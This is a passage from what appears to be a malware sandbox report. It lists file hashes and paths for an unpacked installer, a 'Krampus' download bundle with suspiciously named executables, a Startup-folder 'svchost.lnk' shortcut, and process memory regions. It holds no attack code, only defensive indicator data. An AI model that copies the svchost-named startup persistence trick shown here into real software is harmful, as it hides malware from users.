                                                                                                                                                                                                                                                                                                                  67a443a5c2eaad32625edb5f8deb7852

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  a6137841e8e7736c5ede1d0dc0ce3a44dc41013f

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  41dfb772ae4c6f9e879bf7b4fa776b2877a2f8740fa747031b3d6f57f34d81dd

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  e0fdff1c3c834d8af8634f43c2f16ba5b883a8d88dfd322593a13830047568faf9f41d0bf73cd59e2e33c38fa58998d4702d2b0c21666717a86945d18b3f29e5

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\nsa22DD.tmp\7z-out\locales\ta.pak

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  964KB

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  18ec8ff3c0701a6a8c48f341d368bab5

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  8bff8aee26b990cf739a29f83efdf883817e59d8

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  052bcdb64a80e504bb6552b97881526795b64e0ab7ee5fc031f3edf87160dee9

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  a0e997fc9d316277de3f4773388835c287ab1a35770c01e376fb7428ff87683a425f6a6a605d38dd7904ca39c50998cd85f855cb33ae6abad47ac85a1584fe4e

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\nsa22DD.tmp\7z-out\locales\te.pak

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  894KB

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  a17f16d7a038b0fa3a87d7b1b8095766

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  b2f845e52b32c513e6565248f91901ab6874e117

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  d39716633228a5872630522306f89af8585f8092779892087c3f1230d21a489e

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  371fb44b20b8aba00c4d6f17701fa4303181ad628f60c7b4218e33be7026f118f619d66d679bffcb0213c48700fafd36b2e704499a362f715f63ea9a75d719e7

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\nsa22DD.tmp\7z-out\locales\th.pak

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  753KB

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  a32ba63feeed9b91f6d6800b51e5aeae

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  2fbf6783996e8315a4fb94b7d859564350ee5918

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  e32e37ca0ab30f1816fe6df37e3168e1022f1d3737c94f5472ab6600d97a45f6

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  adebde0f929820d8368096a9c30961ba7b33815b0f124ca56ca05767ba6d081adf964088cb2b9fcaa07f756b946fffa701f0b64b07d457c99fd2b498cbd1e8a5

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\nsa22DD.tmp\7z-out\locales\tr.pak

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  385KB

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  5ff2e5c95067a339e3d6b8985156ec1f

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  7525b25c7b07f54b63b6459a0d8c8c720bd8a398

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  14a131ba318274cf10de533a19776db288f08a294cf7e564b7769fd41c7f2582

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  2414386df8d7ab75dcbd6ca2b9ae62ba8e953ddb8cd8661a9f984eb5e573637740c7a79050b2b303af3d5b1d4d1bb21dc658283638718fdd04fc6e5891949d1b

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\nsa22DD.tmp\7z-out\locales\uk.pak

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  657KB

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  361a0e1f665b9082a457d36209b92a25

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  3c89e1b70b51820bb6baa64365c64da6a9898e2f

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  bd02966f6c6258b66eae7ff014710925e53fe26e8254d7db4e9147266025cc3a

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  d4d25fc58053f8cce4c073846706dc1ecbc0dc19308ba35501e19676f3e7ed855d7b57ae22a5637f81cefc1aa032bf8770d0737df1924f3504813349387c08cf

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\nsa22DD.tmp\7z-out\locales\ur.pak

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  571KB

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  1ca4fa13bd0089d65da7cd2376feb4c6

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  b1ba777e635d78d1e98e43e82d0f7a3dd7e97f9c

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  3941364d0278e2c4d686faa4a135d16a457b4bc98c5a08e62aa12f3adc09aa7f

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  d0d9eb1aa029bd4c34953ee5f4b60c09cf1d4f0b21c061db4ede1b5ec65d7a07fc2f780ade5ce51f2f781d272ac32257b95eedf471f7295ba70b5ba51db6c51d

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\nsa22DD.tmp\7z-out\locales\vi.pak

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  455KB

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  db0eb3183007de5aae10f934fffacc59

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  e9ea7aeffe2b3f5cf75ab78630da342c6f8b7fd9

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  ddabb225b671b989789e9c2ccd1b5a8f22141a7d9364d4e6ee9b8648305e7897

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  703efd12fcace8172c873006161712de1919572c58d98b11de7834c5628444229f5143d231c41da5b9cf729e32de58dee3603cb3d18c6cdd94aa9aa36fbf5de0

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\nsa22DD.tmp\7z-out\locales\zh-CN.pak

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  332KB

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  82326e465e3015c64ca1db77dc6a56bc

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  e8abe12a8dd2cc741b9637fa8f0e646043bbfe3d

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  6655fd9dcdfaf2abf814ffb6c524d67495aed4d923a69924c65abeab30bc74fb

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  4989789c0b2439666dda4c4f959dffc0ddcb77595b1f817c13a95ed97619c270151597160320b3f2327a7daffc8b521b68878f9e5e5fb3870eb0c43619060407

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\nsa22DD.tmp\7z-out\locales\zh-TW.pak

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  330KB

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  2456bf42275f15e016689da166df9008

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  70f7de47e585dfea3f5597b5bba1f436510decd7

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  adf8df051b55507e5a79fa47ae88c7f38707d02dfac0cc4a3a7e8e17b58c6479

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  7e622afa15c70785aaf7c19604d281efe0984f621d6599058c97c19d3c0379b2ee2e03b3a7ec597040a4eee250a782d7ec55c335274dd7db7c7ca97ddcfd378a

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\nsa22DD.tmp\7z-out\resources.pak

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  5.2MB

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  7971a016aed2fb453c87eb1b8e3f5eb2

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  92b91e352be8209fadcf081134334dea147e23b8

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  9cfd5d29cde3de2f042e5e1da629743a7c95c1211e1b0b001e4eebc0f0741e06

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  42082ac0c033655f2edae876425a320d96cdaee6423b85449032c63fc0f7d30914aa3531e65428451c07912265b85f5fee2ed0bbdb362994d3a1fa7b14186013

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\nsa22DD.tmp\7z-out\resources\app.asar

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  12.0MB

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  3d8baa8ac9d78aca5478468c9723da20

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  0fab86b6988583b4f06b2a99ce1382687632853e

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  ef22f37167a2f503209fcfb772cd30c07cea151d64cfc1b0589d0d49553c2007

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  ae440e42304534506934411ecb61ee60fafa4edb00ebdc0dee2b1e104594316a893e3ee1b0127cffc6c04f0803ff957e2bceb0f1b3bebe1d976ca4268612b3c0

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\nsa22DD.tmp\7z-out\resources\elevate.exe

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  105KB

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  792b92c8ad13c46f27c7ced0810694df

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  d8d449b92de20a57df722df46435ba4553ecc802

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  9b1fbf0c11c520ae714af8aa9af12cfd48503eedecd7398d8992ee94d1b4dc37

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  6c247254dc18ed81213a978cce2e321d6692848c64307097d2c43432a42f4f4f6d3cf22fb92610dfa8b7b16a5f1d94e9017cf64f88f2d08e79c0fe71a9121e40

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\nsa22DD.tmp\7z-out\snapshot_blob.bin

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  158KB

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  8fef5a96dbcc46887c3ff392cbdb1b48

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  ed592d75222b7828b7b7aab97b83516f60772351

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  4de0f720c416776423add7ada621da95d0d188d574f08e36e822ad10d85c3ece

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  e52c7820c69863ecc1e3b552b7f20da2ad5492b52cac97502152ebff45e7a45b00e6925679fd7477cdc79c68b081d6572eeed7aed773416d42c9200accc7230e

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\nsa22DD.tmp\7z-out\v8_context_snapshot.bin

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  465KB

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  a373d83d4c43ba957693ad57172a251b

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  8e0fdb714df2f4cb058beb46c06aa78f77e5ff86

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  43b58ca4057cf75063d3b4a8e67aa9780d9a81d3a21f13c64b498be8b3ba6e0c

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  07fbd84dc3e0ec1536ccb54d5799d5ed61b962251ece0d48e18b20b0fc9dd92de06e93957f3efc7d9bed88db7794fe4f2bec1e9b081825e41c6ac3b4f41eab18

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\nsa22DD.tmp\7z-out\vk_swiftshader.dll

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  5.0MB

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  a0845e0774702da9550222ab1b4fded7

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  65d5bd6c64090f0774fd0a4c9b215a868b48e19b

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  6150a413ebe00f92f38737bdccf493d19921ef6329fcd48e53de9dbde4780810

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  4be0cb1e3c942a1695bae7b45d21c5f70e407132ecc65efb5b085a50cdab3c33c26e90bd7c86198ec40fb2b18d026474b6c649776a3ca2ca5bff6f922de2319b

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\nsa22DD.tmp\7z-out\vk_swiftshader_icd.json

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  106B

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  8642dd3a87e2de6e991fae08458e302b

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  9c06735c31cec00600fd763a92f8112d085bd12a

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  32d83ff113fef532a9f97e0d2831f8656628ab1c99e9060f0332b1532839afd9

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  f5d37d1b45b006161e4cefeebba1e33af879a3a51d16ee3ff8c3968c0c36bbafae379bf9124c13310b77774c9cbb4fa53114e83f5b48b5314132736e5bb4496f

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\nsa22DD.tmp\7z-out\vulkan-1.dll

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  899KB

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  0e4e0f481b261ea59f196e5076025f77

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  c73c1f33b5b42e9d67d819226db69e60d2262d7b

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  f681844896c084d2140ac210a974d8db099138fe75edb4df80e233d4b287196a

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  e6127d778ec73acbeb182d42e5cf36c8da76448fbdab49971de88ec4eb13ce63140a2a83fc3a1b116e41f87508ff546c0d7c042b8f4cdd9e07963801f3156ba2

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\nsa22DD.tmp\StdUtils.dll

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  100KB

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  c6a6e03f77c313b267498515488c5740

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  3d49fc2784b9450962ed6b82b46e9c3c957d7c15

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  b72e9013a6204e9f01076dc38dabbf30870d44dfc66962adbf73619d4331601e

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  9870c5879f7b72836805088079ad5bbafcb59fc3d9127f2160d4ec3d6e88d3cc8ebe5a9f5d20a4720fe6407c1336ef10f33b2b9621bc587e930d4cbacf337803

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\nsa22DD.tmp\System.dll

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  12KB

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  0d7ad4f45dc6f5aa87f606d0331c6901

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  48df0911f0484cbe2a8cdd5362140b63c41ee457

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  3eb38ae99653a7dbc724132ee240f6e5c4af4bfe7c01d31d23faf373f9f2eaca

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  c07de7308cb54205e8bd703001a7fe4fd7796c9ac1b4bb330c77c872bf712b093645f40b80ce7127531fe6746a5b66e18ea073ab6a644934abed9bb64126fea9

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\nsa22DD.tmp\nsis7z.dll

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  424KB

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  80e44ce4895304c6a3a831310fbf8cd0

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  36bd49ae21c460be5753a904b4501f1abca53508

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  b393f05e8ff919ef071181050e1873c9a776e1a0ae8329aefff7007d0cadf592

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  c8ba7b1f9113ead23e993e74a48c4427ae3562c1f6d9910b2bbe6806c9107cf7d94bc7d204613e4743d0cd869e00dafd4fb54aad1e8adb69c553f3b9e5bc64df

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\default.dic

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  2B

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  f3b25701fe362ec84616a93a45ce9998

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  d62636d8caec13f04e28442a0a6fa1afeb024bbb

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  670B

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  96fb31e55ecd859bf55ef4f7b4093ef2

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  bfa5578adc364e9d3d4495c07e014ab214160ddb

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  4d5f3b9efb276ebd82ecefe2b21e6602c66e64a6b24f35ac9d4943b4378dfa4f

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  da3264828789a55245740ec3876a9fc3374099102ddaec84715dd4491af3c50a506fd99036b45be6bb399e456f9de953a7df98800fe838d43b20c26f4b6d8e06

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Downloads\C437rPSQNVzgjPbIKiUZsEqostl9FnPve5mDqEpa.zip

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  66.1MB

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  6c6cf43a66079c890cc9dd419efeae4f

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  9675f1b6460cb16ea766335b83465b358255ee62

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  8117e22fbace37f3ed1dfdcc6567e655619970990acd0df94bd83996a7bdc957

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  1896eb26337ea92ee931a26c5d13e03df77a3a88deb1b5055aca158c3c0f8e74ed535e2790c7ec305335f6bd473c4dacb3cdb4ae1b661601b7f6389271bb4523

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Downloads\C437rPSQNVzgjPbIKiUZsEqostl9FnPve5mDqEpa\Krampus\B1OdUv8CBH.exe

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  1.0MB

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  73a20ee98214059033a93ff5da62d903

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  a35422a4969f7d79fc9cf597cf40b7456d5b05d8

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  5df7cf7c7d153a0e55b0ca9299d00c26625e70cff3613540c5718fe74e4c7d12

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  7c3b08ebbc57467aa3615b14d7ea6f629e03e49c17d6268f62345cc58f4ca9823e45ef101c1e247db354ca944481470f94f9c226bc7774f78da9ad0185a76b47

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Downloads\C437rPSQNVzgjPbIKiUZsEqostl9FnPve5mDqEpa\Krampus\ONLY RUN THIS IF IT DOESNT OPEN.exe

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  65.8MB

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  7843ebba5f00c26945ffc032e71a4163

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  d0911a0e6e382cac3a3222bb587e29a9ce693d2d

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  fe114a523c18b9272554ededc7cb031b3aaf4dde03c6fbbe0ef3ce4b26f1211e

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  9b416f7f8eabffd377540deb558efcee8df4d1a6d12b2df2d48a23717cfe4b3aee842d6ec3d3e3e461508b31c1317df80251fd157f13111a7528f57000ecb3ff

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Downloads\C437rPSQNVzgjPbIKiUZsEqostl9FnPve5mDqEpa\Krampus\fuckkrampus.png

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  230KB

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  30b774da337367aa084b2d57677025bc

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  74d86596ab0dd2891db676ec735d9f7e131464df

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  f2b2c6472915b361711013d5052f523ff5ef7e1cc9c3c53fe0e4bf8c18827823

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  01c25bd08ea11fc29cfa2ff146357f27d0dd250460afee772448d16858671f6307efca57576d52845390cdf89e5b0855a18f1ca75d2b22bb20334937ca071334

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Downloads\C437rPSQNVzgjPbIKiUZsEqostl9FnPve5mDqEpa\Krampus\readme.txt

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  1KB

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  eab9953bb6f538241f9b16ec84fec1f2

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  cdd17c77705b5db884958ffae07a182686f4f882

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  f8da7ffc2184b155889860fd6231d164ba3883eb673ebe7154ac3087f96f4642

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  5f50dc8a512648bc1dab2b6770d9092a9f3f84eac58f6614231976129a528b9380b1206457a4f6261491893f67268934265098f81032868835008da259fe7003

                                                                                                                                                                                                                                                                                                                • memory/1844-1519-0x00007FFE7B3B0000-0x00007FFE7BE71000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                • memory/1844-1548-0x00007FFE7B3B0000-0x00007FFE7BE71000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                • memory/1856-1369-0x0000024D21360000-0x0000024D21370000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  64KB

                                                                                                                                                                                                                                                                                                                • memory/1856-1368-0x00007FFE7B3B0000-0x00007FFE7BE71000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                • memory/1856-1378-0x0000024D3B3A0000-0x0000024D3B3C2000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  136KB

                                                                                                                                                                                                                                                                                                                • memory/1856-1385-0x00007FFE7B3B0000-0x00007FFE7BE71000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                • memory/1856-1375-0x0000024D21360000-0x0000024D21370000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  64KB

                                                                                                                                                                                                                                                                                                                • memory/1856-1381-0x0000024D3B620000-0x0000024D3B670000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  320KB

                                                                                                                                                                                                                                                                                                                • memory/1884-1590-0x00007FFE7B3B0000-0x00007FFE7BE71000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                • memory/1884-1591-0x000001EB8CD80000-0x000001EB8CD90000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  64KB

                                                                                                                                                                                                                                                                                                                • memory/1884-1594-0x00007FFE7B3B0000-0x00007FFE7BE71000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                • memory/1916-1438-0x00007FFE7B3B0000-0x00007FFE7BE71000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                • memory/1916-1441-0x000001FC7BC10000-0x000001FC7BC20000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  64KB

                                                                                                                                                                                                                                                                                                                • memory/1916-1440-0x000001FC7BC10000-0x000001FC7BC20000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  64KB

                                                                                                                                                                                                                                                                                                                • memory/1916-1446-0x00007FFE7B3B0000-0x00007FFE7BE71000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                • memory/2264-769-0x00007FFE7B3B0000-0x00007FFE7BE71000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                • memory/2264-772-0x00007FFE7B3B0000-0x00007FFE7BE71000-memory.dmp

